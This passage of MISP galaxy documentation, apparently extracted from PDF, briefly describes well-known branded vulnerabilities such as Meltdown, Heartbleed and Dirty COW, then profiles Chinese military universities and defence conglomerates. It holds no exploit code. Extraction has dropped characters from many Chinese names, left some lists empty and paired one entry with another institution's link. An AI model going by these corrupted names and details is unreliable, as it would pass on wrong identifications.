Meltdown exploits the out-of-order execution feature of modern processors, allowing user-level programs to access kernel memory using processor caches as covert side channels. This is specific to the way out-of-order execution is implemented in the processors. This vulnerability has been assigned CVE-2017-5754.

The tag is: *misp-galaxy:branded-vulnerability="Meltdown"*

## Spectre

Spectre exploits the speculative execution feature that is present in almost all processors in existence today. Two variants of Spectre are known and seem to depend on what is used to influence erroneous speculative execution. The first variant triggers speculative execution by performing a bounds check bypass and has been assigned CVE-2017-5753. The second variant uses branch target injection for the same effect and has been assigned CVE-2017-5715.

The tag is: *misp-galaxy:branded-vulnerability="Spectre"*

## Heartbleed

Heartbleed is a security bug in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. It was introduced into the software in 2012 and publicly disclosed in April 2014. Heartbleed may be exploited regardless of whether the vulnerable OpenSSL instance is running as a TLS server or client. It results from improper input validation (due to a missing bounds check) in the implementation of the TLS heartbeat extension, thus the bug's name derives from heartbeat. The vulnerability is classified as a buffer over-read,[5] a situation where more data can be read than should be allowed.

The tag is: *misp-galaxy:branded-vulnerability="Heartbleed"*

## Shellshock

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

The tag is: *misp-galaxy:branded-vulnerability="Shellshock"*

## Ghost

The GHOST vulnerability is a serious weakness in the Linux glibc library. It allows attackers to remotely take complete control of the victim system without having any prior knowledge of system credentials. CVE-2015-0235 has been assigned to this issue. During a code audit Qualys researchers discovered a buffer overflow in the `__nss_hostname_digits_dots()` function of glibc. This bug can be triggered both locally and remotely via all the `gethostbyname*()` functions. Applications have access to the DNS resolver primarily through the `gethostbyname*()` set of functions. These functions convert a hostname into an IP address.

The tag is: *misp-galaxy:branded-vulnerability="Ghost"*

## Stagefright

Stagefright is the name given to a group of software bugs that affect versions 2.2 ("Froyo") and newer of the Android operating system. The name is taken from the affected library, which among other things, is used to unpack MMS messages. Exploitation of the bug allows an attacker to perform arbitrary operations on the victim's device through remote code execution and privilege escalation. Security researchers demonstrate the bugs with a proof of concept that sends specially crafted MMS messages to the victim device and in most cases requires no end-user actions upon message reception to succeed—the user doesn't have to do anything to 'accept' the bug, it happens in the background. The phone number is the only target information.

The tag is: *misp-galaxy:branded-vulnerability="Stagefright"*

## Badlock

Badlock is a security bug disclosed on April 12, 2016 affecting the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) remote protocols[1] supported by Windows and Samba servers.

The tag is: *misp-galaxy:branded-vulnerability="Badlock"*

## Dirty COW

Dirty COW (Dirty copy-on-write) is a computer security vulnerability for the Linux kernel that affects all Linux-based operating systems including Android. It is a local privilege escalation bug

that exploits a race condition in the implementation of the copy-on-write mechanism in the kernel's memory-management subsystem. The vulnerability was discovered by Phil Oester. Because of the race condition, with the right timing, a local attacker can exploit the copy-on-write mechanism to turn a read-only mapping of a file into a writable mapping. Although it is a local privilege escalation, remote attackers can use it in conjunction with other exploits that allow remote execution of non-privileged code to achieve remote root access on a computer. The attack itself does not leave traces in the system log.

The tag is: *misp-galaxy:branded-vulnerability="Dirty COW"*

## **POODLE**

The POODLE attack (which stands for "Padding Oracle On Downgraded Legacy Encryptio") is a man-in-the-middle exploit which takes advantage of Internet and security software clients' fallback to SSL 3.0. If attackers successfully exploit this vulnerability, on average, they only need to make 256 SSL 3.0 requests to reveal one byte of encrypted messages. Bodo Möller, Thai Duong and Krzysztof Kotowicz from the Google Security Team discovered this vulnerability; they disclosed the vulnerability publicly on October 14, 2014 (despite the paper being dated "September 2014" ). Ivan Ristic does not consider the POODLE attack as serious as the Heartbleed and Shellshock attacks. On December 8, 2014 a variation of the POODLE vulnerability that affected TLS was announced.

The tag is: *misp-galaxy:branded-vulnerability="POODLE"*

## **BadUSB**

The 'BadUSB' vulnerability exploits unprotected firmware in order to deliver malicious code to computers and networks. This is achieved by reverse-engineering the device and reprogramming it. As the reprogrammed firmware is not monitored or assessed by modern security software, this attack method is extremely difficult for antivirus/security software to detect and prevent.

The tag is: *misp-galaxy:branded-vulnerability="BadUSB"*

## **ImageTragick**

The tag is: *misp-galaxy:branded-vulnerability="ImageTragick"*

## **Blacknurse**

Blacknurse is a low bandwidth DDoS attack involving ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016. The earliest samples we have seen supporting this DDoS method are from September 2017.

The tag is: *misp-galaxy:branded-vulnerability="Blacknurse"*

## **SPOILER**

SPOILER is a security vulnerability on modern computer central processing units that uses

speculative execution to improve the efficiency of Rowhammer and other related memory and cache attacks. According to reports, all modern Intel CPUs are vulnerable to the attack. AMD has stated that its processors are not vulnerable.

The tag is: `misp-galaxy:branded-vulnerability="SPOILER"`

## Academy of Military Science (中国人民解放军 事科学院)

AMS is responsible for leading and coordinating military science for the whole military. AMS is involved in not only the development of theory, strategy, and doctrine but also advancing national defense innovation. Pursuant to the PLA reforms, AMS has undergone dramatic changes starting in June 2017. At a July 2017 ceremony marking the AMS's reorganisation, Xi urged the AMS to construct a 'world-class military scientific research institution.' Through the National Defence Science and Technology Innovation Institute, the AMS is pursuing research in cutting-edge technologies including unmanned systems, artificial intelligence, biotechnology and quantum technology.

## Aero Engine Corporation of China (中国航空 机集 有限公司)

AECC is a leading producer of aircraft parts for the People’s Liberation Army (PLA), having separated from its parent company the Aviation Industry Corporation of China (AVIC) in 2016. The company reports having 27 affiliated or subordinate companies, three major listed companies, and 84,000 staff. AVIC and the Commercial Aircraft Corporation of China (also known as COMAC) are major shareholders in AECC. AECC’s main products include aircraft engines, combustion gas turbines, and transmission systems. AECC also develops aircraft power units, helicopter drive systems, monocrystalline blades, turbine disks, and graphene. AECC was established in order to improve China’s capability in developing domestically built aircraft engines as part of the ‘Made in China 2025’ program. A priority is strengthening its supply chains within China. Though indigenously developed engines have proven challenging for AECC, the company had purported success in providing thrust vector control technology for the J-10B fighter jet.

## Air Force Command College (中国人民解放 空 指 学院)

The PLA Air Force Command College in Beijing is considered the PLA Air Force’s ‘peak institution for educating mid-rank and senior officers’ for command posts across the service. The college has a long history and was initially established in Nanjing during the early years of the People’s Republic in 1958. The Air Force Command College offers a range of degree programmes, mainly at the postgraduate level, including training in military disciplines such as military history, strategy, and tactics. It has published research on control science and radar. The college’s other specialties include battlefield command, military operations as well as political–ideological education.

## Air Force Communication NCO Academy (中国人民解放 空 通信士官学校)

The Air Force Communications Officers Academy is the PLA's premier institution for the training of non-commissioned officers in communications systems and security. Established in 1986 as the Dalian Communications NCO College, the institution was renamed after Xi Jinping's military reforms in 2017. The academy's areas of research include command automation and satellite communications, along with wired and wireless communications.

## Air Force Early Warning Academy (中国人民解放 空 警学院)

The Air Force Early Warning Academy is 'an institution that trains military personnel from the PLA Air Force and Navy's radar and electronic warfare units in command, engineering and technology' that was established after the amalgamation of the Air Defence Academy and Radar College in 1958. As such, the Air Force Early Warning Academy focuses its research on radar engineering, information command systems engineering, networked command engineering, and early warning detection systems.

## Air Force Engineering University (中国人民解放 空 工程大学)

The Air Force Engineering University (AFEU) is one of the PLA's five comprehensive universities alongside NUDT, Naval Engineering University, PLA Information Engineering University and Army Engineering University. It trains students in a variety of engineering and military disciplines related to air combat. AFEU currently has around 8,000 students, including 1,600 postgraduate students. Its priority areas include technical studies in information and communication systems engineering as well as in social sciences such as in professional military training. Research into unmanned aerial vehicle technology is another important area of research at the university. In 2017, China's Ministry of Education ranked AFEU equal fourth for armament science out of nine

universities, only awarding it a B- grade for the discipline.Colleges under AFEU include:

## Air Force Harbin Flight Academy (空 哈 行学院)

The Academy is home to the Air Force Harbin Flight Academy Simulation Training Center, 2,500m2 large-scale aircraft simulator where students can train in simulated transport and bomber aircraft. The Academy hopes to continue developing the Simulation Training Center into a 'laboratory for air operations,' including advanced trainings like simulated tactical confrontations.

## Air Force Logistics University (中国人民解放军 空 后勤学院)

The Air Force Logistics University is an institution devoted to the study of command, management and technology for the PLA, established in Shanxi by the Central Military Commission in 1954. The university focusses its research on 'management engineering' for military equipment such as weaponry and aircraft fuel and also maintains research programmes on air battle command and personnel management.

## Air Force Medical University (中国人民解放军 空 医大学)

The Air Force Medical University, also known as the Fourth Military Medical University, is the PLA's premier institution for research into medical and psychological sciences, having been placed under command of the Air Force after Xi Jinping's military reforms in 2017. Its major areas of study are medical and psychological sciences tailored for personnel engaging in air and space operations, military preventative medicine and various other forms of clinical research. The Air Force Medical University conducts significant amounts of psychological research. Scientists from the Air Force Medical University have written studies on suicide, mental health across China, and mental health in military universities. The university's scientists have also looked at the extent to which mindfulness training can reduce anxiety for undergraduates at military universities, and at how fear induced by virtual combat scenarios impacts decision-making. This indicates that the university is interested in issues of troop morale and decision-making in high-stress situations.

The tag is: *misp-galaxy:china-defence-universities="Air Force Medical University (中国人民解放军 空 医大学)"*

Table 567. Table References

Links

<https://unitracker.aspi.org.au/universities/fourth-military-medical-university>

## Air Force Research Institute (中国人民解放军 空 研究院)

The Air Force Research Institute is an air force scientific research institute, the successor to the Air Force Equipment Academy (空 装 研究院), that was established in 2017. The institute runs the Key Laboratory of Complex Aviation System Simulation ( 航空系 真国防重点 室) and carries out research on areas such as aircraft design, flight control, guidance and navigation, and electronic countermeasures.

The tag is: *misp-galaxy:china-defence-universities="Air Force Research Institute (中国人民解放军 空 研究院)"*

Table 568. Table References

<https://unitracker.aspi.org.au/universities/air-force-research-institute>

## Air Force Xi'an Flight Academy (中国人民解放军 空 西安 行学院)

Created upon the merger of the PLA Air Force's Second and Fifth Flight Academies in 2011, the Air Force Xi'an Flight Academy specialises in training airmen in aviation while passing on the PLA's 'revolutionary traditions'. It remains 'one of the Air Force's three advanced institutions in air combat, and is known to train the PLA Air Force's JJ-7 fighter pilots. Given this focus on training, the institution engages in little scientific research.

The tag is: *misp-galaxy:china-defence-universities="Air Force Xi'an Flight Academy (中国人民解放军 空 西安 行学院)"*

Links
<a href="https://unitracker.aspi.org.au/universities/air-force-xian-flight-academy">https://unitracker.aspi.org.au/universities/air-force-xian-flight-academy</a>

## Anhui University (安徽大学)

Anhui University is overseen by the Anhui Provincial Government. In January 2019, defence industry agency SASTIND and the Anhui Provincial Government signed an agreement to jointly develop Anhui University. This agreement with SASTIND suggests that the university will increase its role in defense research in the future.

<a href="https://unitracker.aspi.org.au/universities/anhui-university">https://unitracker.aspi.org.au/universities/anhui-university</a>

## Army Academy of Armored Forces (中国人民解放军 装甲兵学院)

The Army Academy of the Armored Forces is China's lead institute responsible for training and research for armoured combat. This includes a focus on tank warfare, mechanised artillery and infantry operations. The academy offers training in 'armored combat command, surveillance and intelligence, operational tactics' as well as in engineering disciplines relevant to operations involving the PLA Ground Force's armoured corps, such as materials science, mechanical engineering, electrical engineering and automation, communications engineering, weapons systems engineering and photoelectric information science.

The tag is: *misp-galaxy:china-defence-universities="Army Academy of Armored Forces (中国人民解放军 装甲兵学院)"*

<https://unitracker.aspi.org.au/universities/army-academy-of-artillery-and-air-defense>

## Army Academy of Border and Coastal Defense (中国人民解放军 海学院)

With a history dating back to 1941, the Army Academy of Border and Coastal Defense is the only institution of higher education devoted to training PLA Ground Force personnel in border and coastal defence operations. Its subjects of focus include firepower command and control engineering, and command information systems engineering.

The tag is: *misp-galaxy:china-defence-universities="Army Academy of Border and Coastal Defense (中国人民解放军 海学院)"*

Table 573. Table References

Links

<https://unitracker.aspi.org.au/universities/army-academy-of-border-and-coastal-defense>

## Army Aviation College (中国人民解放军 航空兵学院)

The Army Aviation College is the PLA's institution responsible for training mid-career helicopter pilots from the PLA Air Force and aviation officers from the PLA Ground Force. The college's subject areas include aircraft and engine design, aviation communications and air defence systems, flight radar maintenance engineering, and combat aircraft maintenance engineering.

The tag is: *misp-galaxy:china-defence-universities="Army Aviation College (中国人民解放军 航空兵学院)"*

Table 574. Table References

Links

## Army Engineering University (中国人民解放军工程大学)

The Army Engineering University was established in 2017 following the abolition of the PLA University of Science and Technology. The university is devoted to research on ‘engineering, technology and combat command systems’ for the PLA Land Force. The university’s areas of research include:

## Army Infantry Academy (中国人民解放军兵学院)

The Army Infantry Academy is a higher education institution in China devoted to providing elementary training in command for infantry soldiers in the PLA Ground Force. The academy teaches courses in operational disciplines such as command information systems engineering, armored vehicles engineering and weapons systems engineering. As well as providing formal teaching, the Army Infantry Academy also provides oversight for training exercises and electronic warfare simulations.

## Army Medical University (中国人民解放军医大学)

The PLA Army Medical University, formerly known as the Third Military Medical University, is a medical education university affiliated with the PLA Ground Force. It was formed in 2017 through a merger with the PLA Western Theater Command Urumqi Comprehensive Training Base’s Military Medical Training Brigade and the Tibet Military Region’s Eighth Hospital. The Army Medical University includes six national key laboratories and 32 Ministry of Education or military key laboratories. It has won military awards for science and technology progress and seven national science and technology prizes.

## Army Research Institute (中国人民解放军 研究院)

The Army Research Institute is an institution devoted to advanced defence research with applications to land warfare. The institute engages in a variety of defence research including radar technology, lasers, and hybrid electric vehicles. Researchers from the institute are known to have collaborated with partners from China's civilian universities in areas such as advanced manufacturing and automatic control, and laser technology. The Army Research Institute collaborates with civilian companies as part of China's military-civil fusion program. For example, General Guo Guangsheng from the Army Research Institute made a visit to Hong Run Precision Instruments Co. Ltd. (虹精密器有限公司) on 24 August 2019 to assess how the company was performing in its military-civil fusion activities. Researchers from the Army Research Institute have also been involved in the product design and development of dual-use automobiles as part of a military-civil fusion project called 'Research, Development and Commercialisation of Advanced Off-road Passenger Vehicles' (新一代民通用高端越野乘用车研及化). The project included research into vehicles such as the BJ80 military and civilian off-road passenger vehicles as well as the BJ40L off-road vehicle.

## Army Service Academy (中国人民解放军 勤 学院)

The Army Service Academy is an institution of higher education in the PLA devoted to training personnel in a variety of logistics disciplines. The logistics disciplines taught at the academy include: fuel logistics, military facility management, military procurement management, and integrated logistics management. Its areas of focus for defence research include military energy engineering, defence engineering, and management science and engineering.

## Aviation Industry Corporation of China (中国航空工 集 有限公司)

AVIC is a state-owned defence conglomerate established in 2008 that focuses on providing aerospace products for military and civilian customers. AVIC's main product lines include a variety of aircraft for freight, commercial and military aviation along with other more specialised products such as printed circuit boards, liquid crystal displays and automotive parts, according to Bloomberg. AVIC also provides services to the aviation sector through flight testing, engineering, logistics and asset management. The conglomerate has over 400,000 employees and has a controlling share in around 200 companies. AVIC has over 25 subsidiaries listed on its website. AVIC is the PLA Air Force's largest supplier of military aircraft, producing fighter jets, strike aircraft, unmanned aerial vehicles and surveillance aircraft. Along with its core work on military aircraft, AVIC also produces surface-to-air, air-to-surface and air-to-air missiles. Its headline projects include the J-10 and the J-11 fighter aircraft. AVIC's subsidiary, the Shenyang Aircraft Corporation, was responsible for delivery of the J-15 fighter. Another subsidiary of AVIC, the Chengdu Aerospace Corporation, developed the PLA-AF's J-20 stealth fighter jet.

## Aviation University of Air Force (中国人民解放军 空 航空大学)

AUAF is one of China's main institutions devoted to the training of air force pilots. Its areas of focus are training in flight command and research into aeronautical engineering. Disciplines taught at AUAF include command science and engineering, aerospace science and technology as well as political work and military command. AUAF scientists publish and attend conferences on radar technology and electronic countermeasures. For example, scientists from AUAF's Information Countermeasures Division co-authored a publication on radar target recognition with a researcher from the PLA's Unit 94936 – an aviation unit stationed in Hangzhou. AUAF scientists have also done notable work on complex systems radar and signal pre-sorting.

<a href="https://unitracker.aspi.org.au/universities/aviation-university-of-air-force">https://unitracker.aspi.org.au/universities/aviation-university-of-air-force</a>

## Beihang University (北京航空航天大学)

Beihang University engages in very high levels of defence research as one of the 'Seven Sons of National Defence' subordinate to the Ministry of Industry and Information Technology. The university specialises in aviation and spaceflight research. The top four employers of Beihang graduates in 2018 were all state-owned missile or defence aviation companies. In total, 29% of 2018 Beihang graduates who found employment were working in the defence sector. Beihang scientists are involved in the development of Chinese military aircraft and missiles. In 2018, the university signed a comprehensive strategic cooperation agreement with China Aerospace Science and Technology Corporation, a state-owned conglomerate that produces ballistic missiles and satellites. The university is also noteworthy for its leading research on stealth technology. Beihang hosts at least eight major defence laboratories working on fields such as aircraft engines, inertial navigation and fluid dynamics.

## Beijing Electronic Science and Technology Institute (北京 电子科技学院)

BESTI is a secretive university that trains information security experts for the bureaucracy. The institute is the only university run by the CCP General Office, which manages administrative matters for the Central Committee. The General Office is usually run by one of the general secretary's most trusted aides. It oversees China's cryptographic and state secrets agency as well as security for the party's leadership. BESTI has a student population of around 2,000 and has strict admission requirements. Students at the university are scrutinized for their political beliefs, and are typically CCP or Communist Youth League members. The activities of their relatives are screened for political issues. Having no parents or siblings who worked abroad or were involved in 'illegal organisations' is a condition of enrolment. The institute claims to count 50 ministerial-level party officials among its 12,000 graduates. BESTI has a close relationship with Xidian University and Beijing University of Posts and Telecommunications. The two universities are its primary collaborators on scientific papers. BESTI runs joint master's programs with Xidian University in cryptography, information and communication engineering, and computer applications technology. It also has joint doctoral programs with the University of Science and Technology of China and Beijing University of Posts and Telecommunications in cybersecurity. The university runs the Key Laboratory of Information Security (信息安全重点实验室/信息安全与保密重点实验室). Several websites claim that it runs a joint laboratory with the Chinese Academy of Sciences Institute of High Energy Physics, but this could not be confirmed.

The tag is: *misp-galaxy:china-defence-universities="Beijing Electronic Science and Technology Institute (北京 电子科技学院)"*

Table 585. Table References

## Beijing Institute of Technology (北京理工大学)

BIT is one of the 'Seven Sons of National Defence' supervised by MIIT. It is a leading centre of military research and one of only fourteen institutions accredited to award doctorates in weapons science. In 2017, China's Ministry of Education ranked BIT and Nanjing University of Science and Technology as the country's top institutions for weapons science. It has received the most defence research prizes and defence patents out of all China's universities. 31.80% of BIT graduates in 2018 who found employment were working in the defence sector. BIT's claimed achievements include producing the PRC's first light tank, first two-stage solid sounding rocket and first low-altitude altimetry radar. The university also states that it carries out world-class research on several areas of missile technology including "precision strikes, high damage efficiency, maneuver penetration, long-range suppression, and military communications systems and counter-measures". In 2018, BIT announced that it was running a four-year experimental program training some of China's top high school students in intelligent weapons systems. BIT is the chair of the B8 Cooperation Innovation Alliance (B8 同新盟 or 中国兵器同新盟), a group of eight Chinese research institutions that specialize in weapons science—the 'B' in 'B8' stands for Chinese work for armaments, bingqi (兵器). BIT's central role in advancing PLA warfighting capability is demonstrated by the fact that it

participated in the development of equipment used by 22 of the 30 squads in the 2009 military parade for the 60th anniversary of the founding of the PRC.

## Beijing University of Chemical Technology (北京化工大学)

BUCT is subordinate to the Ministry of Education. The university engages in high levels of defence research. In 2016, the Ministry of Education and defence industry agency SASTIND agreed to jointly construct BUCT, a move designed to expand its involvement in defence research. Between 2011 and 2015, the university's spending on defence research reached RMB272 million (AUD56 million), approximately 15% of the university's research spending and an increase of around 50% over the previous five years. BUCT specialises in the development and application of critical materials for the defence industry. Its research on carbon fibres has been applied to the aerospace industry. BUCT holds secret-level security credentials, allowing it to participate in classified defence and weapons technology projects.

The tag is: *misp-galaxy:china-defence-universities="Beijing University of Chemical Technology (北京化工大学)"*

Links
<a href="https://unitracker.aspi.org.au/universities/beijing-university-of-chemical-technology">https://unitracker.aspi.org.au/universities/beijing-university-of-chemical-technology</a>

## Beijing University of Posts and Telecommunications (北京 大学)

BUPT is subordinate to the Ministry of Education in addition to being jointly constructed by the Ministry of Industry and Information Technology. BUPT is one of eight Chinese universities known to have received top-secret security credentials. Since its establishment, the university has focused on information engineering and computer science, and has continued to produce important defence and security technology research. The School of Cyberspace Security is home to one of the university's two defence laboratories—the Key Laboratory of Network and Information Attack & Defense Technology of Ministry of Education—which carries out research for the Chinese military related to cyber attacks. BUPT is a member of several military-civilian fusion (MCF) alliances and has been awarded for its contributions to MCF and the PLA. During the past three years, major employers of BUPT graduates include the Ministry of State Security, the Ministry of Public Security and MIIT. This suggests a close relationship between BUPT and China's security and intelligence agencies.

## Central South University (中南大学)

Out of all universities subordinate to the MOE, CSU reportedly receives the most military research funding and was the first to receive a weapons production license. In 2008 and 2011 respectively, the defence industry agency SASTIND and the Ministry of Education (MOE) signed agreements to jointly supervise CSU. Under this arrangement, SASTIND committed to expanding CSU's involvement in defence research and support the development of its School of Aeronautics and Astronautics and Military Industry Technology Research Institute. CSU's defence research appears to focus on metallurgy, materials science, and aviation technology, including the development of heat-resistant materials for aeroplane and rocket engines. The university has been involved in the development of China's first atomic bomb, first intermediate-range ballistic missile, and first nuclear submarine. In 2018, it signed a strategic cooperation agreement with the Chinese Academy of Launch Vehicle Technology, a subsidiary of China Aerospace Science and Technology Corporation that is included on the US BIS Entity List for its involvement in developing rockets.

## Changchun University of Science and Technology ( 春理工大学)

CUST is primarily supervised by the Jilin Provincial Government but has also been under the administration of SASTIND and its predecessors for over 30 years over its history. The university specialises in photoelectric technology and has a strong focus on defence research. CUST describes itself as having 'safeguarding national defence as its sublime responsibility and sacred mission.' CUST is a member of the B8 Cooperation Innovation Alliance (B8 同 新 盟 or 中国兵器 同 新 盟), a group of eight Chinese research institutions that specialize in armaments science—the 'B' in 'B8' stands for Chinese work for armaments, bingqi (兵器). In April 2018, CUST established the School of Artificial Intelligence (人工智能学院) and the Artificial Intelligence Research Institute (人工智能研究院). CUST researchers working on AI are likely involved in research related to facial recognition technology.

## China Aerospace Science and Industry Corporation (中国航天科工集 有限公司)

CASIC specialises in defence equipment and aerospace products, particularly short- and medium-range missiles. CASIC is a leading provider to the Chinese military of high-end capabilities such as air-defence, cruise, and ballistic missile systems along with space launch vehicles, micro-satellites and anti-satellite interceptors, according to Mark Stokes and Dean Cheng. CASIC employs over 146,000 employees and is on the Fortune 500 list with revenue exceeding USD37 billion (AUD55 billion). Although defence products form part of CASIC's main product line, the company also produces products for civilian customers such as electronics, communications equipment and medical equipment. Nevertheless, CASIC claims that it 'will always uphold its core value of ranking national interests above all', which indicates that civilian products receive less priority than defence equipment.

## China Aerospace Science and Technology Corporation (中国航天科技集 )

CASC was established in 1999 as a defence aerospace conglomerate. The company is primarily

focused on ‘developing carrier rockets, various kinds of satellites, ... and tactical missile systems.’ With revenues nearing USD38 billion (AUD55 billion), CASC employs nearly 180,000 personnel and is on the Fortune 500 list. PLA experts Mark Stokes and Dean Cheng have noted that CASC’s main products for the PLA include ‘ballistic missiles and space launch vehicles, large solid rocket motors, liquid fuelled engines, satellites, and related sub-assemblies and components.’ The Federation of American Scientists claims CASC is particularly advanced in high-energy propellant technology, satellite applications, strap-on boosters and system integration. CASC maintains an investment business which may be geared towards civilian purposes, according to Bloomberg. The Federation of American Scientists notes that some civilian product lines for CASC include ‘machinery, chemicals, communications equipment, transportation equipment, computers, medical care products and environmental protection equipment.’ CASC oversees multiple research academies, which have been separately identified by Mark Stokes and Dean Cheng and by the Nuclear Threat Initiative. The Nuclear Threat Initiative has identified that CASC has the following subordinate companies:

## China Electronics Corporation (中国 子信息 集 有限公司)

CEC is a state-owned conglomerate that produces dual-use electronics. The company was established in 1989 to produce semi-conductors, electronic components, software and telecommunications products. The company describes itself as a defence industry

conglomerate.CEC is one of China's largest companies with nearly 120 thousand employees. CEC claims to hold 22 subordinate enterprises and 14 listed companies. Global Security has provided a list of CEC's 36 member companies in English.CEC is divided into two operational groups. First is the China Electronics Party Institute (中国 子党校), which provides disciplinary oversight and organises communist party activities within CEC. Second is the Science and Technology Committee (科学技 委会), which is responsible for research and development within CEC.CEC's defence electronics are developed by the Military Engineering Department (工部) within CEC's Science and Technology Committee. Key defence electronics produced by CEC include tracking stations, radar technology, as well as command and control systems. The company maintains its own office for the management of classified information related to defence research. The Federation of American Scientists has identified CEC's defence-related enterprises on a list that can be found here.

<a href="https://unitracker.aspi.org.au/universities/china-electronics-corporation">https://unitracker.aspi.org.au/universities/china-electronics-corporation</a>

## China Electronics Technology Group Corporation (中国 子科技集 公司)

CETC is a state-owned defence conglomerate that specialises in dual-use electronics. The company was established in 2002 by bringing dozens of research institutes administered by the Ministry of Information Industry, the predecessor to the Ministry of Industry and Information Technology, under one umbrella.CETC is one of the world's largest defence companies. It claims to have 523 subordinate units and companies and 160,000 employees.CETC divides its defence electronics products into seven categories: air base early warning, integrated electronic information systems, radar, communication and navigation, electronic warfare, UAVs and integrated IFF (identification, friend or foe). CETC also provides technology used for human rights abuses in Xinjiang, where approximately 1.5m are held in re-education camps.Several CETC research institutes and subsidiaries have been added to the US Government's entity list, restricting exports to them on national security grounds. CETC has been implicated by the US Department of Justice in at least three cases of illegal exports.CETC has a large international market and has also expanded its international research collaboration in recent years. It has a European headquarters in Graz, Austria, and has invested in the University of Technology Sydney.

The tag is: *misp-galaxy:china-defence-universities="China Electronics Technology Group Corporation (中国 子科技集 公司)"*

<a href="https://unitracker.aspi.org.au/universities/china-electronics-technology-group-corporation">https://unitracker.aspi.org.au/universities/china-electronics-technology-group-corporation</a>

## China National Nuclear Corporation (中国核工业集团有限公司)

CNNC is the leading state-owned enterprise for China's civilian and military nuclear programs. It consists of more than 200 subordinate enterprises and research institutes, many of which are listed on the Nuclear Threat Initiative website. In 2018, CNNC took over China's main nuclear construction company, China Nuclear Engineering and Construction Group (中国核工业建设集团). The company is organized into eight industrial sectors, including nuclear power, nuclear power generation, nuclear fuel, natural uranium, nuclear environmental protection, application of nuclear technologies, non-nuclear civilian products and new energy sources. CNNC is mainly engaged in research and development, design, construction and production operations in the fields of nuclear power, nuclear fuel cycle, nuclear technology application, and nuclear environmental protection engineering. Because of the dual-use nature of nuclear technologies, the nuclear industry is a typical military-civil fusion industry. Naval nuclear power technology and nuclear reactor technology in the reactor core, fuel assembly, safety and security, and radioactive waste treatment all use the same or very similar processes. In March 2019, CNNC established an military-civil fusion fund dedicated to dual-use nuclear technology research and design. Two CNNC subsidiaries have been added to the US Government's Entity List, restricting exports to them on national security grounds. CNNC has cooperated with U.S. Westinghouse Electric to construct AP1000 nuclear power plants. The company also has a significant overseas presence, signing agreements for joint research with U.S., French, Canadian, U.K., Russian and Argentinian companies.

## China North Industries Group (中国兵器工业集团公司)

Norinco Group was established in 1999 as a state-owned defence conglomerate devoted to the development and production of armaments for Chinese and foreign defence customers. Its main defence products include artillery and tear gas, air defence and anti-missile systems, anti-tank missiles and precision-guided munitions as well as armoured vehicles such as main battle tanks and infantry combat vehicles. Bloomberg reports that Norinco Group's civilian products include various engineering services and heavy-duty construction equipment. Norinco Group employs over 210,000 personnel, has revenues exceeding US\$68.8 billion and is listed on the Fortune 500. Norinco Group has hundreds of subsidiaries and subordinate research institutes in China and around the world that have been catalogued by the International Peace Information Service and Omega Research Foundation in their working paper on the company and on Norinco Group's website. Norinco Group's Institute of Computer Application Technology (中国兵器工业计算机应用技术研究所) was one of the first adopters of internet technology and remains a leading company for research into network security. The institute hosts four internet research centres and is reported to work with the National Administration for State Secrets Protection (国家保密局) on the Information Security and Testing and Evaluation Centre (密码信息系 安全保密 中心).

## China People's Police University (中国人民警察大学)

The China People's Police University is an institution of higher learning devoted to training active duty police officers and firefighters in command and management as well as specialist technical officers. The curriculum is separated into two main streams, one for police officers and the other for firefighters. Its police disciplines include immigrant management, entry-exit and border control management, security intelligence, cyber-security, and political work. Its firefighting disciplines include firefighting engineering, electronic information engineering, and nuclear and biochemical fire control. Research facilities at the university include:

## China Shipbuilding Industry Corporation (中国船舶重工集 有限公司)

CSIC was established as one of China's primary state-owned defence companies on 1 July 1999. CSIC is the PLA Navy's largest supplier of weapons platforms, accounting for nearly 80 per cent of all armaments. CSIC's signature products include conventional and nuclear submarines, warships and torpedoes, as well as the Liaoning aircraft carrier program. CSIC maintains a civilian shipbuilding program alongside its program of supplying the PLA Navy. CSIC's civilian work includes the production of oil and chemical tankers, container ships, bulk carriers and engineering ships. On 2 July 2019, it was announced that CSIC and the China State Shipbuilding Corporation would merge. According to Janes Defence Weekly, 'the two groups, which have combined assets of about USD120 billion and employ 240,000 people, dominate naval shipbuilding in China and between them operate 160 subsidiaries.' Nikkei has listed some of CSIC's main subsidiaries here.

## China South Industries Group (中国兵器装 集 有限公司)

CSGC is a leading producer of armaments for the People's Liberation Army. It was founded in 1999 and works on technologies such as advanced munitions, mobile assault weapons, lights armaments, information optoelectronics and counter-terrorism equipment. CSGC also maintains civilian product lines focused on the oil and energy sector, but most of the company's attention goes to developing armaments. The company employs nearly 200,000 personnel, its revenue approaches USD34 billion (AUD50 billion) and it is listed as a Fortune 500 company. CSGC holds a controlling share in more than 60 subsidiaries. 32 of these are listed on the company's website.

## China State Shipbuilding Corporation (中国船舶工 集 有限公司)

CSSC was established as one China's primary state-owned weapons companies on 1 July 1999 to build ships for military and civilian customers. CSSC markets itself as as the 'backbone' of the Chinese navy and its core products include a variety of warships and support vessels. Alongside its program supporting the PLA Navy, Bloomberg notes that CSSC 'produces oil tankers, bulk carriers, conditioner vessels, deepwater survey ships, and marine equipment.' On 2 July 2019, it was announced that the China Shipbuilding Industry Corporation and the CSSC would merge. According to Jane's Defence Weekly, 'the two groups, which have combined assets of about USD120 billion (AUD178 billion) and employ 240,000 people, dominate naval shipbuilding in China and between them operate 160 subsidiaries.'

## Chinese Academy of Engineering Physics (中国工程物理研究院)

